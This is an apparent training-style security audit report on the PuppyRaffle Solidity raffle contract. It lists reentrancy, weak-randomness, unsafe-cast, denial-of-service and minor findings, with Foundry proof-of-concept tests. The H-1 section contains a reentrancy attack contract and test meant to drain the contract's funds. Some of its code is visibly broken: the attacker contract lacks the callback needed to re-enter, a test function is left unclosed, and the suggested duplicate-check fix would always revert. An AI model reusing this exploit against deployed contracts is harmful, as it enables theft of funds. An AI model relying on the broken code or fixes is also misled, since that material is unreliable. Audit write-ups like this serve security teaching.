PuppyRaffle Audit Report

Version 1.0

nem0x001

May 14, 2024

PuppyRaffle Audit Report

nem0x001

May 13, 2024

Prepared by: nem0x001 Lead Auditors: - ME

Table of Contents

    * [M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - Lows
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle
  - Informational
    * [I-1] Using a floating version of pragma
    * [I-2] Using incorrect version of solc
    * [I-3] Lacking Zero Address Checks
    * [I-4] Using Magic Numbers
  - Gas Optimization
    * [G-1] Unchanged variables should be Immutable or constants
    * [G-2] Storage variables in loops should be cached
    * [G-3] Dead Code in `PuppyRaffle::_isActivePlayer`

Protocol Summary

This project is to enter a raffle to win a cute dog NFT.

Disclaimer

The nem0x001 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Audit Details

The finding described in this document correspond the following commit hash:

```
1 e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
==>PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

- I Have spent a week auditing this codebase via manual review and static analysis tools

Issues found

Severity	Number of Issues found
High	3
Medium	2
Low	1
Info	4
Gas	3
Total:	13

Findings

High

[H-1] Updating `PuppyRaffle::players` after external call.causing a Reentrancy attack

Description: The `PuppyRaffle::refund` function allows a player to request a refund of their entrance fee. However, there is a potential reentrancy vulnerability in the implementation. After transfer-

ring the entrance fee to the player using `payable(msg.sender).sendValue(entranceFee)`, the function updates the players array by setting the player's address to address(0). This sequence of operations could enable a reentrancy attack if the external call (sendValue) triggers a callback to the contract that modifies the contract's state or invokes another function, including another refund call.

Impact: it allow malicious users to withdraw all the contract balance.

Proof of Concept: This code is a PoC of A Reentrancy Vulnerablitiy + using the following code in `PuppyRaffleTest`:

```
``` js
   PuppyRaffle puppyRaffle;
Attacker attackerContract;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
address attacker = makeAddr("attacker");
uint256 duration = 1 days;

function setUp() public {
    puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
    attackerContract = new Attacker(puppyRaffle);
    vm.deal(attacker, entranceFee);
    function testReentrancy() public {
    //first we will enter raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
    //tracking the balance of the contract and the attacker before the
       attack
    uint256 puppyRaffleStartingBalance = address(puppyRaffle).balance;
    uint256 attackerStartingBalance = address(attacker).balance;
    console.log("puppyRaffleStartingBalance: ",
       puppyRaffleStartingBalance);
    console.log("attackerStartingBalance: ", attackerStartingBalance);
    //the attack
    vm.prank(attacker);
    attackerContract.Attack{value: entranceFee}();
    //tracking the balance of the contract and the attacker after the
       attack
    console.log("puppyRaffleEndingBalance: ", address(puppyRaffle).
       balance);
    console.log("attackerEndingBalance: ", address(attackerContract).
```
```

```
            balance);
36  }
37  contract Attacker {
38  PuppyRaffle puppyRaffle;
39  uint256 entranceFee = 1e18;
40  uint256 index;
41
42  constructor(PuppyRaffle _puppyRaffle) {
43      puppyRaffle = _puppyRaffle;
44  }
45
46  function Attack() external payable {
47      //enter the raffle
48      address[] memory players = new address[](1);
49      players[0] = address(this);
50      puppyRaffle.enterRaffle{value: entranceFee}(players);
51      //get the index of the player tp call refund
52      index = puppyRaffle.getActivePlayerIndex(address(this));
53      //call refund
54      puppyRaffle.refund(index);
55  }
56  }
57  ```
```

- output:

```
Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testReentrancy() (gas: 381557)
Logs:
  puppyRaffleStartingBalance:  4000000000000000000
  attackerStartingBalance:  1000000000000000000
  puppyRaffleEndingBalance:  0
  attackerEndingBalance:  5000000000000000000
```

Figure 1: Test Output

Recommended Mitigation:

1. Follow CEI technique as following :

```
1  function withdrawBalance() public {
2  //checks
3      //no checks here
4  //effects
5  uint256 balance = userBalance[msg.sender];
6  userBalance[msg.sender] = 0;
7  //interactions
8      (bool success,) = msg.sender.call{value: balance}("");
9          if (!success) {
```

```
10              revert();
11          }
12      }
```

2. Using openzeppelin ReentrancyGuard

```
1  import {ReentrancyGuard} from "../../lib/openzeppelin-contracts/
       contracts/utils/ReentrancyGuard.sol";
2
3  contract ReentrancyVictim is ReentrancyGuard {
4      mapping(address => uint256) public userBalance;
5
6      function deposit() public payable {
7          userBalance[msg.sender] += msg.value;
8      }
9
10     function withdrawBalance() public nonReentrant {
11         uint256 balance = userBalance[msg.sender];
12         // An external call and then a state change!
13         // External call
14         (bool success,) = msg.sender.call{value: balance}("");
15         if (!success) {
16             revert();
17         }
18
19         // State change
20         userBalance[msg.sender] = 0;
21     }
22 }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner`

Description This bug is mainly present because we rely on fields controlled by a caller or can be manipulated.where we are using `msg.sender`,`block.timestamp`and`block.difficulty` to get `winnerIndex` and `rarity` in `PuppyRaffle::selectWinner` function.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
4          //@audit-F:Weak Randomness
5          uint256 winnerIndex =
6              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
7
8          // We use a different RNG calculate from the winnerIndex to
               determine rarity
```

```
9           uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
                block.difficulty))) % 100;
10
11      }
```

Impact The winner and the NFT rarity can be predicted

Proof of Concepts

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended mitigation

- Consider using a cryptographically provable random number generator such as [chainlink VRF] https://docs.chain.link/vrf ### [H-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Mediums

[M-1] Potential DenialofService attack (DoS) Because of Looping through not bounded array to check for duplicates in `PuppyRaffle::enterRaffle` function.

Description: In the `PuppyRaffle::enterRaffle` function, a nested loop is employed to compare each element in the players array with all subsequent elements, checking for duplicate entries.

The outer loop iterates through the array, and for each element, the inner loop compares it with all subsequent elements to ensure uniqueness.

```
    for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas to enter the raffle will signifcantly increase as more players enter raffle.which make future users discouraged to use the protocol.

Proof of Concepts: This PoC prove that as long as players enter raffle gas cost increase + use the following code in your `PuppyRaffleTest`:

```
    function testDoSEnterRaffle() public {
      vm.txGasPrice(1);
      uint256 playernum = 100;
      address[] memory First100players = new address[](playernum);
      uint256 gasStart100 = gasleft();
      console.log("gasStart100: ", gasStart100);

      for (uint256 i = 0; i < First100players.length; i++) {
          First100players[i] = address(i);
      }

      puppyRaffle.enterRaffle{value: entranceFee * First100players.
          length}(First100players);
      uint256 gasEnd100 = gasleft();

      uint256 gasCost100 = gasStart100 - gasEnd100 * tx.gasprice;

      console.log("gasCostFirst100: ", gasCost100);

      address[] memory Second100players = new address[](100);
      uint256 gasStartSecond100 = gasleft();

      for (uint256 i = 0; i < Second100players.length; i++) {
          Second100players[i] = address(i + playernum);
      }
      console.log("Second100players: ", Second100players.length);

      puppyRaffle.enterRaffle{value: entranceFee * Second100players.
          length}(Second100players);
      uint256 gasEndSecond100 = gasleft();

      uint256 gasCostSecond100 = gasStartSecond100 - gasEndSecond100 *
          tx.gasprice;

```

```
        console.log("gasCostSecond100: ", gasCostSecond100);
        assert(gasCostSecond100 > gasCost100);

        //do this test again for third time
        address[] memory Third100players = new address[](100);
        uint256 gasStartThird100 = gasleft();

        for (uint256 i = 0; i < Third100players.length; i++) {
            Third100players[i] = address(i + playernum + 100);
        }
        puppyRaffle.enterRaffle{value: entranceFee * Third100players.
            length}(Third100players);
        uint256 gasEndThird100 = gasleft();

        uint256 gasCostThird100 = gasStartThird100 - gasEndThird100 * tx.
            gasprice;
        console.log("gasCostThird100: ", gasCostThird100);

        assert(gasCostThird100 > gasCostSecond100);
    }
```

Gas Tracking :

```
Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testDoSEnterRaffle() (gas: 62157504)
Logs:
  gasCostFirst100:  6266463
  gasCostSecond100:  18083153
  gasCostThird100:  37798346

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 502.00ms (498.82ms CPU time)
```

Figure 2: test ouput

- conclusion: the cost of the third 100 players is 3x the cost of the first 100 players

Recommended mitigation:

1. You may remove checking duplicates.because this prevent the wallet to particpate again not the user.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
 mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 1;
     .
     .
```

```
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Lows

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the PuppyRaffle::players' array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
1 function getActivePlayerIndex(address player) external view returns (
     uint256) {
2     for (uint256 i = 0; i < players.length; i++) {
3         if (players[i] == player) {
4             return i;
5         }
6     }
7     return 0;
8 }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concepts 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

Recommended mitigation + The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

Informational

[I-1] Using a floating version of pragma

Description Consider using a specific version of Solidity in your contracts instead of a wide version.

Proof of Concepts + found in `PuppyRaffle` Line:2

```
1 pragma solidity ^0.7.6;
```

Recommended mitigation use a specific version such as `pragma solidity 0.8.18;` instead of `pragma solidity ^0.7.6;`

[I-2] Using incorrect version of solc

Description using old version of solidity in `PuppyRaffle` contract

Impact

Version constraint ^0.7.6 contains known severe issues (https://solidity.readthedocs.io/en/latest/bugs.html)

- FullInlinerNonExpressionSplitArgumentEvaluationOrder
- MissingSideEffectsOnSelectorAccess
- AbiReencodingHeadOverflowWithStaticArrayCleanup
- DirtyBytesArrayToStorage
- DataLocationChangeInInternalOverride
- NestedCalldataArrayAbiReencodingSizeValidation
- SignedImmutables
- ABIDecodeTwoDimensionalArrayMemory
- KeccakCaching.

Proof of Concepts + found in `PuppyRaffle` Line:2

```
1 pragma solidity ^0.7.6;
```

Recommended mitigation

Use a more recent version (at least 0.8.0), if possible.

[I-3] Lacking Zero Address Checks

Description There is no input validation on the addresses submited.

Proof of Concepts

- Instances :

- `PuppyRaffle::_feedAddress` in the `Constructor`
- `PuppyRaffle::changeFeeAddress` function

Recommended mitigation

- Make a condition to check that the given address is a valid address as following.

```
if(address==address(0)){
  revert();
}
```

[I-4] Using Magic Numbers

Description using magic number in your contract is not a best practice and confusing for the auditor and other developers.

Proof of Concepts

- These instances are in `PuppyRaffle::selectWinner` function `js uint256 prizePool = (totalAmountCollected * 80)/ 100; uint256 fee = ( totalAmountCollected * 20)/ 100;` **Recommended mitigation**

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

Gas Optimization

[G-1] Unchanged variables should be Immutable or constants

Description Reading from storage is more expensive

Impact

Higher gas Prices

Proof of Concepts + The Instances :

```
-`PuppyRaffle::raffleDuration;` ==>`Immutable`

-`PuppyRaffle::legendaryImageUri`==>`Constant`
```

```
4
5 -`PuppyRaffle::rareImageUri`==>`Constant`
6
7 -`PuppyRaffle::legendaryImageUri`==>`Constant`
```

[G-2] Storage variables in loops should be cached

Description stotrage variables in loops should be cached.because reading each time from storage is expensive.

Impact Higher Gas Prices

Proof of Concepts

- Instances
  - `players.length` in `PuppyRaffle::enterRaffle` and `PuppyRaffle::getActivePlayerIndex`

Recommended mitigation

- You can use the following Mitigation. `js uint length=players.length;`

[G-3] Dead Code in `PuppyRaffle::_isActivePlayer`

Description This `PuppyRaffle::_isActivePlayer` function is an internal function that has been never used inside the code.

```
1     function _isActivePlayer() internal view returns (bool) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == msg.sender) {
4                 return true;
5             }
6         }
7         return false;
8     }
```

Impact Higher Gas Prices

Recommended mitigation

- consider removing it from the code base.